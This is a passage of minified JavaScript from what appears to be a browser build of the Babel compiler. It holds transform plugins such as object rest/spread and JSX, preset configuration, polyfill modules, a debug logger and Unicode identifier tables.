e.object?e.callee=s.sequenceExpression([s.assignmentExpression("=",a,e.object),e.callee]):e.callee.object=s.assignmentExpression("=",a,e.callee.object),a}var s=e.types;return{inherits:r(201),visitor:{CallExpression:function(e){var t=e.node,r=e.scope,n=t.callee;if(s.isBindExpression(n)){var a=i(n,r);t.callee=s.memberExpression(n.callee,s.identifier("call")),t.arguments.unshift(a)}},BindExpression:function(e){
var t=e.node,r=e.scope,n=i(t,r);e.replaceWith(s.callExpression(s.memberExpression(t.callee,s.identifier("bind")),[n]))}}}},e.exports=t.default},function(e,t,r){"use strict";t.__esModule=!0;var n=r(2),i=function(e){return e&&e.__esModule?e:{default:e}}(n);t.default=function(e){function t(e){var t=!1;return e.traverse({RestProperty:function(){t=!0,e.stop()}}),t}function n(e){for(var t=e.properties,r=Array.isArray(t),n=0,t=r?t:(0,i.default)(t);;){var s;if(r){if(n>=t.length)break;s=t[n++]}else{if(n=t.next(),n.done)break;s=n.value}var a=s;if(o.isSpreadProperty(a))return!0}return!1}function s(e,t,r){for(var n=t.pop(),s=[],a=t,u=Array.isArray(a),l=0,a=u?a:(0,i.default)(a);;){var c;if(u){if(l>=a.length)break;c=a[l++]}else{if(l=a.next(),l.done)break;c=l.value}var f=c,p=f.key;o.isIdentifier(p)&&!f.computed&&(p=o.stringLiteral(f.key.name)),s.push(p)}return[n.argument,o.callExpression(e.addHelper("objectWithoutProperties"),[r,o.arrayExpression(s)])]}function a(e,r,n,i){if(r.isAssignmentPattern())return void a(e,r.get("left"),n,i);if(r.isObjectPattern()&&t(r)){var s=e.scope.generateUidIdentifier("ref"),u=o.variableDeclaration("let",[o.variableDeclarator(r.node,s)]);u._blockHoist=n?i-n:1,e.ensureBlock(),e.get("body").unshiftContainer("body",u),r.replaceWith(s)}}var o=e.types;return{inherits:r(202),visitor:{Function:function(e){for(var t=e.get("params"),r=0;r<t.length;r++)a(t[r].parentPath,t[r],r,t.length)},VariableDeclarator:function(e,t){if(e.get("id").isObjectPattern()){var r=e;e.get("id").traverse({RestProperty:function(e){if(this.originalPath.node.id.properties.length>1&&!o.isIdentifier(this.originalPath.node.init)){var n=e.scope.generateUidIdentifierBasedOnNode(this.originalPath.node.init,"ref");return this.originalPath.insertBefore(o.variableDeclarator(n,this.originalPath.node.init)),void this.originalPath.replaceWith(o.variableDeclarator(this.originalPath.node.id,n))}var i=this.originalPath.node.init,a=[];e.findParent(function(e){if(e.isObjectProperty())a.unshift(e.node.key.name);else if(e.isVariableDeclarator())return!0}),a.length&&a.forEach(function(e){i=o.memberExpression(i,o.identifier(e))});var u=s(t,e.parentPath.node.properties,i),l=u[0],c=u[1];r.insertAfter(o.variableDeclarator(l,c)),r=r.getSibling(r.key+1),0===e.parentPath.node.properties.length&&e.findParent(function(e){return e.isObjectProperty()||e.isVariableDeclarator()}).remove()}},{originalPath:e})}},ExportNamedDeclaration:function(e){var r=e.get("declaration");if(r.isVariableDeclaration()&&t(r)){var n=[];for(var i in e.getOuterBindingIdentifiers(e)){var s=o.identifier(i);n.push(o.exportSpecifier(s,s))}e.replaceWith(r.node),e.insertAfter(o.exportNamedDeclaration(null,n))}},CatchClause:function(e){var t=e.get("param");a(t.parentPath,t)},AssignmentExpression:function(e,r){var n=e.get("left");if(n.isObjectPattern()&&t(n)){var i=[],a=void 0;(e.isCompletionRecord()||e.parentPath.isExpressionStatement())&&(a=e.scope.generateUidIdentifierBasedOnNode(e.node.right,"ref"),i.push(o.variableDeclaration("var",[o.variableDeclarator(a,e.node.right)])));var u=s(r,e.node.left.properties,a),l=u[0],c=u[1],f=o.clone(e.node);f.right=a,i.push(o.expressionStatement(f)),i.push(o.toStatement(o.assignmentExpression("=",l,c))),a&&i.push(o.expressionStatement(a)),e.replaceWithMultiple(i)}},ForXStatement:function(e){var r=e.node,n=e.scope,i=e.get("left"),s=r.left;if(o.isObjectPattern(s)&&t(i)){var a=n.generateUidIdentifier("ref");return r.left=o.variableDeclaration("var",[o.variableDeclarator(a)]),e.ensureBlock(),void r.body.body.unshift(o.variableDeclaration("var",[o.variableDeclarator(s,a)]))}if(o.isVariableDeclaration(s)){var u=s.declarations[0].id;if(o.isObjectPattern(u)){var l=n.generateUidIdentifier("ref");r.left=o.variableDeclaration(s.kind,[o.variableDeclarator(l,null)]),e.ensureBlock(),r.body.body.unshift(o.variableDeclaration(r.left.kind,[o.variableDeclarator(u,l)]))}}},ObjectExpression:function(e,t){function r(){u.length&&(a.push(o.objectExpression(u)),u=[])}if(n(e.node)){var s=t.opts.useBuiltIns||!1;if("boolean"!=typeof s)throw new Error("transform-object-rest-spread currently only accepts a boolean option for useBuiltIns (defaults to false)");for(var a=[],u=[],l=e.node.properties,c=Array.isArray(l),f=0,l=c?l:(0,i.default)(l);;){var p;if(c){if(f>=l.length)break;p=l[f++]}else{if(f=l.next(),f.done)break;p=f.value}var d=p;o.isSpreadProperty(d)?(r(),a.push(d.argument)):u.push(d)}r(),o.isObjectExpression(a[0])||a.unshift(o.objectExpression([]));var h=s?o.memberExpression(o.identifier("Object"),o.identifier("assign")):t.addHelper("extends");e.replaceWith(o.callExpression(h,a))}}}}},e.exports=t.default},function(e,t,r){"use strict";t.__esModule=!0,t.default=function(e){function t(e,t){for(var r=t.arguments[0].properties,i=!0,s=0;s<r.length;s++){var a=r[s],o=n.toComputedKey(a);if(n.isLiteral(o,{value:"displayName"})){i=!1;break}}i&&r.unshift(n.objectProperty(n.identifier("displayName"),n.stringLiteral(e)))}function r(e){if(!e||!n.isCallExpression(e))return!1;if(!s(e.callee)&&!a(e.callee))return!1;var t=e.arguments;if(1!==t.length)return!1;var r=t[0];return!!n.isObjectExpression(r)}var n=e.types,s=n.buildMatchMemberExpression("React.createClass"),a=function(e){return"createReactClass"===e.name};return{visitor:{ExportDefaultDeclaration:function(e,n){var s=e.node;if(r(s.declaration)){var a=n.file.opts.basename;"index"===a&&(a=i.default.basename(i.default.dirname(n.file.opts.filename))),t(a,s.declaration)}},CallExpression:function(e){var i=e.node;if(r(i)){var s=void 0;e.find(function(e){if(e.isAssignmentExpression())s=e.node.left;else if(e.isObjectProperty())s=e.node.key;else if(e.isVariableDeclarator())s=e.node.id;else if(e.isStatement())return!0;if(s)return!0}),s&&(n.isMemberExpression(s)&&(s=s.property),n.isIdentifier(s)&&t(s.name,i))}}}}};var n=r(19),i=function(e){return e&&e.__esModule?e:{default:e}}(n);e.exports=t.default},function(e,t,r){"use strict";function n(e){return e&&e.__esModule?e:{default:e}}t.__esModule=!0;var i=r(2),s=n(i);t.default=function(e){var t=e.types,r=/\*?\s*@jsx\s+([^\s]+)/,n=(0,l.default)({pre:function(e){var r=e.tagName,n=e.args;t.react.isCompatTag(r)?n.push(t.stringLiteral(r)):n.push(e.tagExpr)},post:function(e,t){e.callee=t.get("jsxIdentifier")()}});return n.Program=function(e,n){for(var i=n.file,a=n.opts.pragma||"React.createElement",o=i.ast.comments,u=Array.isArray(o),l=0,o=u?o:(0,s.default)(o);;){var c;if(u){if(l>=o.length)break;c=o[l++]}else{if(l=o.next(),l.done)break;c=l.value}var f=c,p=r.exec(f.value);if(p){if("React.DOM"===(a=p[1]))throw i.buildCodeFrameError(f,"The @jsx React.DOM pragma has been deprecated as of React 0.12");break}}n.set("jsxIdentifier",function(){return a.split(".").map(function(e){return t.identifier(e)}).reduce(function(e,r){return t.memberExpression(e,r)})})},{inherits:o.default,visitor:n}};var a=r(127),o=n(a),u=r(351),l=n(u);e.exports=t.default},function(e,t,r){"use strict";t.__esModule=!0;var n=r(2),i=function(e){return e&&e.__esModule?e:{default:e}}(n);t.default=function(){return{visitor:{Program:function(e,t){if(!1!==t.opts.strict&&!1!==t.opts.strictMode){for(var r=e.node,n=r.directives,s=Array.isArray(n),o=0,n=s?n:(0,i.default)(n);;){var u;if(s){if(o>=n.length)break;u=n[o++]}else{if(o=n.next(),o.done)break;u=o.value}if("use strict"===u.value.value)return}e.unshiftContainer("directives",a.directive(a.directiveLiteral("use strict")))}}}}};var s=r(1),a=function(e){if(e&&e.__esModule)return e;var t={};if(null!=e)for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r]);return t.default=e,t}(s);e.exports=t.default},function(e,t,r){"use strict";function n(e){return e&&e.__esModule?e:{default:e}}function i(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{},r=["commonjs","amd","umd","systemjs"],n=!1,i="commonjs",s=!1;if(void 0!==t&&(void 0!==t.loose&&(n=t.loose),void 0!==t.modules&&(i=t.modules),void 0!==t.spec&&(s=t.spec)),"boolean"!=typeof n)throw new Error("Preset es2015 'loose' option must be a boolean.");if("boolean"!=typeof s)throw new Error("Preset es2015 'spec' option must be a boolean.");if(!1!==i&&-1===r.indexOf(i))throw new Error("Preset es2015 'modules' option must be 'false' to indicate no modules\nor a module type which be be one of: 'commonjs' (default), 'amd', 'umd', 'systemjs'");var o={loose:n};return{plugins:[[a.default,{loose:n,spec:s}],u.default,c.default,[p.default,{spec:s}],h.default,[y.default,o],g.default,E.default,A.default,[_.default,o],[C.default,o],P.default,F.default,O.default,[R.default,o],M.default,[L.default,o],U.default,G.default,"commonjs"===i&&[Y.default,o],"systemjs"===i&&[K.default,o],"amd"===i&&[J.default,o],"umd"===i&&[z.default,o],[Q.default,{async:!1,asyncGenerators:!1}]].filter(Boolean)}}t.__esModule=!0;var s=r(83),a=n(s),o=r(76),u=n(o),l=r(75),c=n(l),f=r(68),p=n(f),d=r(69),h=n(d),m=r(71),y=n(m),v=r(78),g=n(v),b=r(80),E=n(b),x=r(130),A=n(x),S=r(72),_=n(S),D=r(74),C=n(D),w=r(82),P=n(w),k=r(85),F=n(k),T=r(66),O=n(T),B=r(81),R=n(B),I=r(79),M=n(I),N=r(73),L=n(N),j=r(70),U=n(j),V=r(84),G=n(V),W=r(77),Y=n(W),q=r(208),K=n(q),H=r(131),J=n(H),X=r(209),z=n(X),$=r(86),Q=n($),Z=i({});t.default=Z,Object.defineProperty(Z,"buildPreset",{configurable:!0,writable:!0,enumerable:!1,value:i}),e.exports=t.default},function(e,t,r){"use strict";t.__esModule=!0;var n=r(132),i=function(e){return e&&e.__esModule?e:{default:e}}(n);t.default={plugins:[i.default]},e.exports=t.default},function(e,t,r){"use strict";function n(e){return e&&e.__esModule?e:{default:e}}t.__esModule=!0;var i=r(128),s=n(i),a=r(129),o=n(a);t.default={plugins:[s.default,o.default]},e.exports=t.default},function(e,t,r){"use strict";function n(e){return e&&e.__esModule?e:{default:e}}t.__esModule=!0;var i=r(221),s=n(i),a=r(203),o=n(a),u=r(210),l=n(u);t.default={presets:[s.default],plugins:[o.default,l.default]},e.exports=t.default},function(e,t,r){"use strict";function n(e){return e&&e.__esModule?e:{default:e}}t.__esModule=!0;var i=r(222),s=n(i),a=r(204),o=n(a),u=r(205),l=n(u),c=r(324),f=n(c);t.default={presets:[s.default],plugins:[f.default,o.default,l.default]},e.exports=t.default},function(e,t,r){"use strict";function n(e){return e&&e.__esModule?e:{default:e}}t.__esModule=!0;var i=r(128),s=n(i),a=r(129),o=n(a),u=r(132),l=n(u),c=r(213),f=n(c),p=r(327),d=n(p);t.default={plugins:[s.default,o.default,l.default,d.default,f.default]},e.exports=t.default},function(e,t,r){"use strict";t.__esModule=!0;var n=r(3),i=function(e){return e&&e.__esModule?e:{default:e}}(n),s=function e(t,r){(0,i.default)(this,e),this.file=t,this.options=r};t.default=s,e.exports=t.default},function(e,t,r){"use strict";t.__esModule=!0,t.Flow=t.Pure=t.Generated=t.User=t.Var=t.BlockScoped=t.Referenced=t.Scope=t.Expression=t.Statement=t.BindingIdentifier=t.ReferencedMemberExpression=t.ReferencedIdentifier=void 0;var n=r(1),i=function(e){if(e&&e.__esModule)return e;var t={};if(null!=e)for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r]);return t.default=e,t}(n);t.ReferencedIdentifier={types:["Identifier","JSXIdentifier"],checkPath:function(e,t){var r=e.node,s=e.parent;if(!i.isIdentifier(r,t)&&!i.isJSXMemberExpression(s,t)){if(!i.isJSXIdentifier(r,t))return!1;if(n.react.isCompatTag(r.name))return!1}return i.isReferenced(r,s)}},t.ReferencedMemberExpression={types:["MemberExpression"],checkPath:function(e){var t=e.node,r=e.parent;return i.isMemberExpression(t)&&i.isReferenced(t,r)}},t.BindingIdentifier={types:["Identifier"],checkPath:function(e){var t=e.node,r=e.parent;return i.isIdentifier(t)&&i.isBinding(t,r)}},t.Statement={types:["Statement"],checkPath:function(e){var t=e.node,r=e.parent;if(i.isStatement(t)){if(i.isVariableDeclaration(t)){if(i.isForXStatement(r,{left:t}))return!1;if(i.isForStatement(r,{init:t}))return!1}return!0}return!1}},t.Expression={types:["Expression"],checkPath:function(e){return e.isIdentifier()?e.isReferencedIdentifier():i.isExpression(e.node)}},t.Scope={types:["Scopable"],checkPath:function(e){return i.isScope(e.node,e.parent)}},t.Referenced={checkPath:function(e){return i.isReferenced(e.node,e.parent)}},t.BlockScoped={checkPath:function(e){return i.isBlockScoped(e.node)}},t.Var={types:["VariableDeclaration"],checkPath:function(e){return i.isVar(e.node)}},t.User={checkPath:function(e){return e.node&&!!e.node.loc}},t.Generated={checkPath:function(e){return!e.isUser()}},t.Pure={checkPath:function(e,t){return e.scope.isPure(e.node,t)}},t.Flow={types:["Flow","ImportDeclaration","ExportDeclaration","ImportSpecifier"],checkPath:function(e){var t=e.node;return!!i.isFlow(t)||(i.isImportDeclaration(t)?"type"===t.importKind||"typeof"===t.importKind:i.isExportDeclaration(t)?"type"===t.exportKind:!!i.isImportSpecifier(t)&&("type"===t.importKind||"typeof"===t.importKind))}}},function(e,t,r){"use strict";t.__esModule=!0;var n=r(3),i=function(e){return e&&e.__esModule?e:{default:e}}(n),s=function(){function e(t){var r=t.existing,n=t.identifier,s=t.scope,a=t.path,o=t.kind;(0,i.default)(this,e),this.identifier=n,this.scope=s,this.path=a,this.kind=o,this.constantViolations=[],this.constant=!0,this.referencePaths=[],this.referenced=!1,this.references=0,this.clearValue(),r&&(this.constantViolations=[].concat(r.path,r.constantViolations,this.constantViolations))}return e.prototype.deoptValue=function(){this.clearValue(),this.hasDeoptedValue=!0},e.prototype.setValue=function(e){this.hasDeoptedValue||(this.hasValue=!0,this.value=e)},e.prototype.clearValue=function(){this.hasDeoptedValue=!1,this.hasValue=!1,this.value=null},e.prototype.reassign=function(e){this.constant=!1,-1===this.constantViolations.indexOf(e)&&this.constantViolations.push(e)},e.prototype.reference=function(e){-1===this.referencePaths.indexOf(e)&&(this.referenced=!0,this.references++,this.referencePaths.push(e))},e.prototype.dereference=function(){this.references--,this.referenced=!!this.references},e}();t.default=s,e.exports=t.default},function(e,t,r){"use strict";function n(e,t,r){for(var n=[].concat(e),i=(0,a.default)(null);n.length;){var s=n.shift();if(s){var o=u.getBindingIdentifiers.keys[s.type];if(u.isIdentifier(s))if(t){var l=i[s.name]=i[s.name]||[];l.push(s)}else i[s.name]=s;else if(u.isExportDeclaration(s))u.isDeclaration(s.declaration)&&n.push(s.declaration);else{if(r){if(u.isFunctionDeclaration(s)){n.push(s.id);continue}if(u.isFunctionExpression(s))continue}if(o)for(var c=0;c<o.length;c++){var f=o[c];s[f]&&(n=n.concat(s[f]))}}}}return i}function i(e,t){return n(e,t,!0)}t.__esModule=!0;var s=r(9),a=function(e){return e&&e.__esModule?e:{default:e}}(s);t.getBindingIdentifiers=n,t.getOuterBindingIdentifiers=i;var o=r(1),u=function(e){if(e&&e.__esModule)return e;var t={};if(null!=e)for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r]);return t.default=e,t}(o);n.keys={DeclareClass:["id"],DeclareFunction:["id"],DeclareModule:["id"],DeclareVariable:["id"],InterfaceDeclaration:["id"],TypeAlias:["id"],OpaqueType:["id"],CatchClause:["param"],LabeledStatement:["label"],UnaryExpression:["argument"],AssignmentExpression:["left"],ImportSpecifier:["local"],ImportNamespaceSpecifier:["local"],ImportDefaultSpecifier:["local"],ImportDeclaration:["specifiers"],ExportSpecifier:["exported"],ExportNamespaceSpecifier:["exported"],ExportDefaultSpecifier:["exported"],FunctionDeclaration:["id","params"],FunctionExpression:["id","params"],ClassDeclaration:["id"],ClassExpression:["id"],RestElement:["argument"],UpdateExpression:["argument"],RestProperty:["argument"],ObjectProperty:["value"],AssignmentPattern:["left"],ArrayPattern:["elements"],ObjectPattern:["properties"],VariableDeclaration:["declarations"],VariableDeclarator:["id"]}},function(e,t){"use strict";e.exports=function(e){if("function"!=typeof e)throw TypeError(e+" is not a function!");return e}},function(e,t,r){"use strict";var n=r(138),i=r(13)("toStringTag"),s="Arguments"==n(function(){return arguments}()),a=function(e,t){try{return e[t]}catch(e){}};e.exports=function(e){var t,r,o;return void 0===e?"Undefined":null===e?"Null":"string"==typeof(r=a(t=Object(e),i))?r:s?n(t):"Object"==(o=n(t))&&"function"==typeof t.callee?"Arguments":o}},function(e,t,r){"use strict";var n=r(146),i=r(57).getWeak,s=r(21),a=r(16),o=r(136),u=r(55),l=r(137),c=r(28),f=r(58),p=l(5),d=l(6),h=0,m=function(e){return e._l||(e._l=new y)},y=function(){this.a=[]},v=function(e,t){return p(e.a,function(e){return e[0]===t})};y.prototype={get:function(e){var t=v(this,e);if(t)return t[1]},has:function(e){return!!v(this,e)},set:function(e,t){var r=v(this,e);r?r[1]=t:this.a.push([e,t])},delete:function(e){var t=d(this.a,function(t){return t[0]===e});return~t&&this.a.splice(t,1),!!~t}},e.exports={getConstructor:function(e,t,r,s){var l=e(function(e,n){o(e,l,t,"_i"),e._t=t,e._i=h++,e._l=void 0,void 0!=n&&u(n,r,e[s],e)});return n(l.prototype,{delete:function(e){if(!a(e))return!1;var r=i(e);return!0===r?m(f(this,t)).delete(e):r&&c(r,this._i)&&delete r[this._i]},has:function(e){if(!a(e))return!1;var r=i(e);return!0===r?m(f(this,t)).has(e):r&&c(r,this._i)}}),l},def:function(e,t,r){var n=i(s(t),!0);return!0===n?m(e).set(t,r):n[e._i]=r,e},ufstore:m}},function(e,t,r){"use strict";var n=r(16),i=r(15).document,s=n(i)&&n(i.createElement);e.exports=function(e){return s?i.createElement(e):{}}},function(e,t,r){"use strict";e.exports=!r(22)&&!r(27)(function(){return 7!=Object.defineProperty(r(230)("div"),"a",{get:function(){return 7}}).a})},function(e,t,r){"use strict";var n=r(138);e.exports=Array.isArray||function(e){return"Array"==n(e)}},function(e,t){"use strict";e.exports=function(e,t){return{value:t,done:!!e}}},function(e,t,r){"use strict";var n=r(44),i=r(145),s=r(91),a=r(94),o=r(142),u=Object.assign;e.exports=!u||r(27)(function(){var e={},t={},r=Symbol(),n="abcdefghijklmnopqrst";return e[r]=7,n.split("").forEach(function(e){t[e]=e}),7!=u({},e)[r]||Object.keys(u({},t)).join("")!=n})?function(e,t){for(var r=a(e),u=arguments.length,l=1,c=i.f,f=s.f;u>l;)for(var p,d=o(arguments[l++]),h=c?n(d).concat(c(d)):n(d),m=h.length,y=0;m>y;)f.call(d,p=h[y++])&&(r[p]=d[p]);return r}:u},function(e,t,r){"use strict";var n=r(91),i=r(92),s=r(37),a=r(154),o=r(28),u=r(231),l=Object.getOwnPropertyDescriptor;t.f=r(22)?l:function(e,t){if(e=s(e),t=a(t,!0),u)try{return l(e,t)}catch(e){}if(o(e,t))return i(!n.f.call(e,t),e[t])}},function(e,t,r){"use strict";var n=r(237),i=r(141).concat("length","prototype");t.f=Object.getOwnPropertyNames||function(e){return n(e,i)}},function(e,t,r){"use strict";var n=r(28),i=r(37),s=r(420)(!1),a=r(150)("IE_PROTO");e.exports=function(e,t){var r,o=i(e),u=0,l=[];for(r in o)r!=a&&n(o,r)&&l.push(r);for(;t.length>u;)n(o,r=t[u++])&&(~s(l,r)||l.push(r));return l}},function(e,t,r){"use strict";var n=r(228),i=r(13)("iterator"),s=r(56);e.exports=r(5).getIteratorMethod=function(e){if(void 0!=e)return e[i]||e["@@iterator"]||s[n(e)]}},function(e,t,r){(function(n){"use strict";function i(){return!("undefined"==typeof window||!window.process||"renderer"!==window.process.type)||("undefined"!=typeof document&&document.documentElement&&document.documentElement.style&&document.documentElement.style.WebkitAppearance||"undefined"!=typeof window&&window.console&&(window.console.firebug||window.console.exception&&window.console.table)||"undefined"!=typeof navigator&&navigator.userAgent&&navigator.userAgent.toLowerCase().match(/firefox\/(\d+)/)&&parseInt(RegExp.$1,10)>=31||"undefined"!=typeof navigator&&navigator.userAgent&&navigator.userAgent.toLowerCase().match(/applewebkit\/(\d+)/))}function s(e){var r=this.useColors;if(e[0]=(r?"%c":"")+this.namespace+(r?" %c":" ")+e[0]+(r?"%c ":" ")+"+"+t.humanize(this.diff),r){var n="color: "+this.color;e.splice(1,0,n,"color: inherit");var i=0,s=0;e[0].replace(/%[a-zA-Z%]/g,function(e){"%%"!==e&&(i++,"%c"===e&&(s=i))}),e.splice(s,0,n)}}function a(){return"object"===("undefined"==typeof console?"undefined":l(console))&&console.log&&Function.prototype.apply.call(console.log,console,arguments)}function o(e){try{null==e?t.storage.removeItem("debug"):t.storage.debug=e}catch(e){}}function u(){var e;try{e=t.storage.debug}catch(e){}return!e&&void 0!==n&&"env"in n&&(e=n.env.DEBUG),e}var l="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e};t=e.exports=r(458),t.log=a,t.formatArgs=s,t.save=o,t.load=u,t.useColors=i,t.storage="undefined"!=typeof chrome&&void 0!==chrome.storage?chrome.storage.local:function(){try{return window.localStorage}catch(e){}}(),t.colors=["lightseagreen","forestgreen","goldenrod","dodgerblue","darkorchid","crimson"],t.formatters.j=function(e){try{return JSON.stringify(e)}catch(e){return"[UnexpectedJSONParseError]: "+e.message}},t.enable(u())}).call(t,r(8))},function(e,t){"use strict";!function(){function t(e){return 48<=e&&e<=57}function r(e){return 48<=e&&e<=57||97<=e&&e<=102||65<=e&&e<=70}function n(e){return e>=48&&e<=55}function i(e){return 32===e||9===e||11===e||12===e||160===e||e>=5760&&d.indexOf(e)>=0}function s(e){return 10===e||13===e||8232===e||8233===e}function a(e){return e<=65535?String.fromCharCode(e):String.fromCharCode(Math.floor((e-65536)/1024)+55296)+String.fromCharCode((e-65536)%1024+56320)}function o(e){return e<128?h[e]:p.NonAsciiIdentifierStart.test(a(e))}function u(e){return e<128?m[e]:p.NonAsciiIdentifierPart.test(a(e))}function l(e){return e<128?h[e]:f.NonAsciiIdentifierStart.test(a(e))}function c(e){return e<128?m[e]:f.NonAsciiIdentifierPart.test(a(e))}var f,p,d,h,m,y;for(p={NonAsciiIdentifierStart:/[\xAA\xB5\xBA\xC0-\xD6\xD8-\xF6\xF8-\u02C1\u02C6-\u02D1\u02E0-\u02E4\u02EC\u02EE\u0370-\u0374\u0376\u0377\u037A-\u037D\u037F\u0386\u0388-\u038A\u038C\u038E-\u03A1\u03A3-\u03F5\u03F7-\u0481\u048A-\u052F\u0531-\u0556\u0559\u0561-\u0587\u05D0-\u05EA\u05F0-\u05F2\u0620-\u064A\u066E\u066F\u0671-\u06D3\u06D5\u06E5\u06E6\u06EE\u06EF\u06FA-\u06FC\u06FF\u0710\u0712-\u072F\u074D-\u07A5\u07B1\u07CA-\u07EA\u07F4\u07F5\u07FA\u0800-\u0815\u081A\u0824\u0828\u0840-\u0858\u08A0-\u08B2\u0904-\u0939\u093D\u0950\u0958-\u0961\u0971-\u0980\u0985-\u098C\u098F\u0990\u0993-\u09A8\u09AA-\u09B0\u09B2\u09B6-\u09B9\u09BD\u09CE\u09DC\u09DD\u09DF-\u09E1\u09F0\u09F1\u0A05-\u0A0A\u0A0F\u0A10\u0A13-\u0A28\u0A2A-\u0A30\u0A32\u0A33\u0A35\u0A36\u0A38\u0A39\u0A59-\u0A5C\u0A5E\u0A72-\u0A74\u0A85-\u0A8D\u0A8F-\u0A91\u0A93-\u0AA8\u0AAA-\u0AB0\u0AB2\u0AB3\u0AB5-\u0AB9\u0ABD\u0AD0\u0AE0\u0AE1\u0B05-\u0B0C\u0B0F\u0B10\u0B13-\u0B28\u0B2A-\u0B30\u0B32\u0B33\u0B35-\u0B39\u0B3D\u0B5C\u0B5D\u0B5F-\u0B61\u0B71\u0B83\u0B85-\u0B8A\u0B8E-\u0B90\u0B92-\u0B95\u0B99\u0B9A\u0B9C\u0B9E\u0B9F\u0BA3\u0BA4\u0BA8-\u0BAA\u0BAE-\u0BB9\u0BD0\u0C05-\u0C0C\u0C0E-\u0C10\u0C12-\u0C28\u0C2A-\u0C39\u0C3D\u0C58\u0C59\u0C60\u0C61\u0C85-\u0C8C\u0C8E-\u0C90\u0C92-\u0CA8\u0CAA-\u0CB3\u0CB5-\u0CB9\u0CBD\u0CDE\u0CE0\u0CE1\u0CF1\u0CF2\u0D05-\u0D0C\u0D0E-\u0D10\u0D12-\u0D3A\u0D3D\u0D4E\u0D60\u0D61\u0D7A-\u0D7F\u0D85-\u0D96\u0D9A-\u0DB1\u0DB3-\u0DBB\u0DBD\u0DC0-\u0DC6\u0E01-\u0E30\u0E32\u0E33\u0E40-\u0E46\u0E81\u0E82\u0E84\u0E87\u0E88\u0E8A\u0E8D\u0E94-\u0E97\u0E99-\u0E9F\u0EA1-\u0EA3\u0EA5\u0EA7\u0EAA\u0EAB\u0EAD-\u0EB0\u0EB2\u0EB3\u0EBD\u0EC0-\u0EC4\u0EC6\u0EDC-\u0EDF\u0F00\u0F40-\u0F47\u0F49-\u0F6C\u0F88-\u0F8C\u1000-\u102A\u103F\u1050-\u1055\u105A-\u105D\u1061\u1065\u1066\u106E-\u1070\u1075-\u1081\u108E\u10A0-\u10C5\u10C7\u10CD\u10D0-\u10FA\u10FC-\u1248\u124A-\u124D\u1250-\u1256\u1258\u125A-\u125D\u1260-\u1288\u128A-\u128D\u1290-\u12B0\u12B2-\u12B5\u12B8-\u12BE\u12C0\u12C2-\u12C5\u12C8-\u12D6\u12D8-\u1310\u1312-\u1315\u1318-\u135A\u1380-\u138F\u13A0-\u13F4\u1401-\u166C\u166F-\u167F\u1681-\u169A\u16A0-\u16EA\u16EE-\u16F8\u1700-\u170C\u170E-\u1711\u1720-\u1731\u1740-\u1751\u1760-\u176C\u176E-\u1770\u1780-\u17B3\u17D7\u17DC\u1820-\u1877\u1880-\u18A8\u18AA\u18B0-\u18F5\u1900-\u191E\u1950-\u196D\u1970-\u1974\u1980-\u19AB\u19C1-\u19C7\u1A00-\u1A16\u1A20-\u1A54\u1AA7\u1B05-\u1B33\u1B45-\u1B4B\u1B83-\u1BA0\u1BAE\u1BAF\u1BBA-\u1BE5\u1C00-\u1C23\u1C4D-\u1C4F\u1C5A-\u1C7D\u1CE9-\u1CEC\u1CEE-\u1CF1\u1CF5\u1CF6\u1D00-\u1DBF\u1E00-\u1F15\u1F18-\u1F1D\u1F20-\u1F45\u1F48-\u1F4D\u1F50-\u1F57\u1F59\u1F5B\u1F5D\u1F5F-\u1F7D\u1F80-\u1FB4\u1FB6-\u1FBC\u1FBE\u1FC2-\u1FC4\u1FC6-\u1FCC\u1FD0-\u1FD3\u1FD6-\u1FDB\u1FE0-\u1FEC\u1FF2-\u1FF4\u1FF6-\u1FFC\u2071\u207F\u2090-\u209C\u2102\u2107\u210A-\u2113\u2115\u2119-\u211D\u2124\u2126\u2128\u212A-\u212D\u212F-\u2139\u213C-\u213F\u2145-\u2149\u214E\u2160-\u2188\u2C00-\u2C2E\u2C30-\u2C5E\u2C60-\u2CE4\u2CEB-\u2CEE\u2CF2\u2CF3\u2D00-\u2D25\u2D27\u2D2D\u2D30-\u2D67\u2D6F\u2D80-\u2D96\u2DA0-\u2DA6\u2DA8-\u2DAE\u2DB0-\u2DB6\u2DB8-\u2DBE\u2DC0-\u2DC6\u2DC8-\u2DCE\u2DD0-\u2DD6\u2DD8-\u2DDE\u2E2F\u3005-\u3007\u3021-\u3029\u3031-\u3035\u3038-\u303C\u3041-\u3096\u309D-\u309F\u30A1-\u30FA\u30FC-\u30FF\u3105-\u312D\u3131-\u318E\u31A0-\u31BA\u31F0-\u31FF\u3400-\u4DB5\u4E00-\u9FCC\uA000-\uA48C\uA4D0-\uA4FD\uA500-\uA60C\uA610-\uA61F\uA62A\uA62B\uA640-\uA66E\uA67F-\uA69D\uA6A0-\uA6EF\uA717-\uA71F\uA722-\uA788\uA78B-\uA78E\uA790-\uA7AD\uA7B0\uA7B1\uA7F7-\uA801\uA803-\uA805\uA807-\uA80A\uA80C-\uA822\uA840-\uA873\uA882-\uA8B3\uA8F2-\uA8F7\uA8FB\uA90A-\uA925\uA930-\uA946\uA960-\uA97C\uA984-\uA9B2\uA9CF\uA9E0-\uA9E4\uA9E6-\uA9EF\uA9FA-\uA9FE\uAA00-\uAA28\uAA40-\uAA42\uAA44-\uAA4B\uAA60-\uAA76\uAA7A\uAA7E-\uAAAF\uAAB1\uAAB5\uAAB6\uAAB9-\uAABD\uAAC0\uAAC2\uAADB-\uAADD\uAAE0-\uAAEA\uAAF2-\uAAF4\uAB01-\uAB06\uAB09-\uAB0E\uAB11-\uAB16\uAB20-\uAB26\uAB28-\uAB2E\uAB30-\uAB5A\uAB5C-\uAB5F\uAB64\uAB65\uABC0-\uABE2\uAC00-\uD7A3\uD7B0-\uD7C6\uD7CB-\uD7FB\uF900-\uFA6D\uFA70-\uFAD9\uFB00-\uFB06\uFB13-\uFB17\uFB1D\uFB1F-\uFB28\uFB2A-\uFB36\uFB38-\uFB3C\uFB3E\uFB40\uFB41\uFB43\uFB44\uFB46-\uFBB1\uFBD3-\uFD3D\uFD50-\uFD8F\uFD92-\uFDC7\uFDF0-\uFDFB\uFE70-\uFE74\uFE76-\uFEFC\uFF21-\uFF3A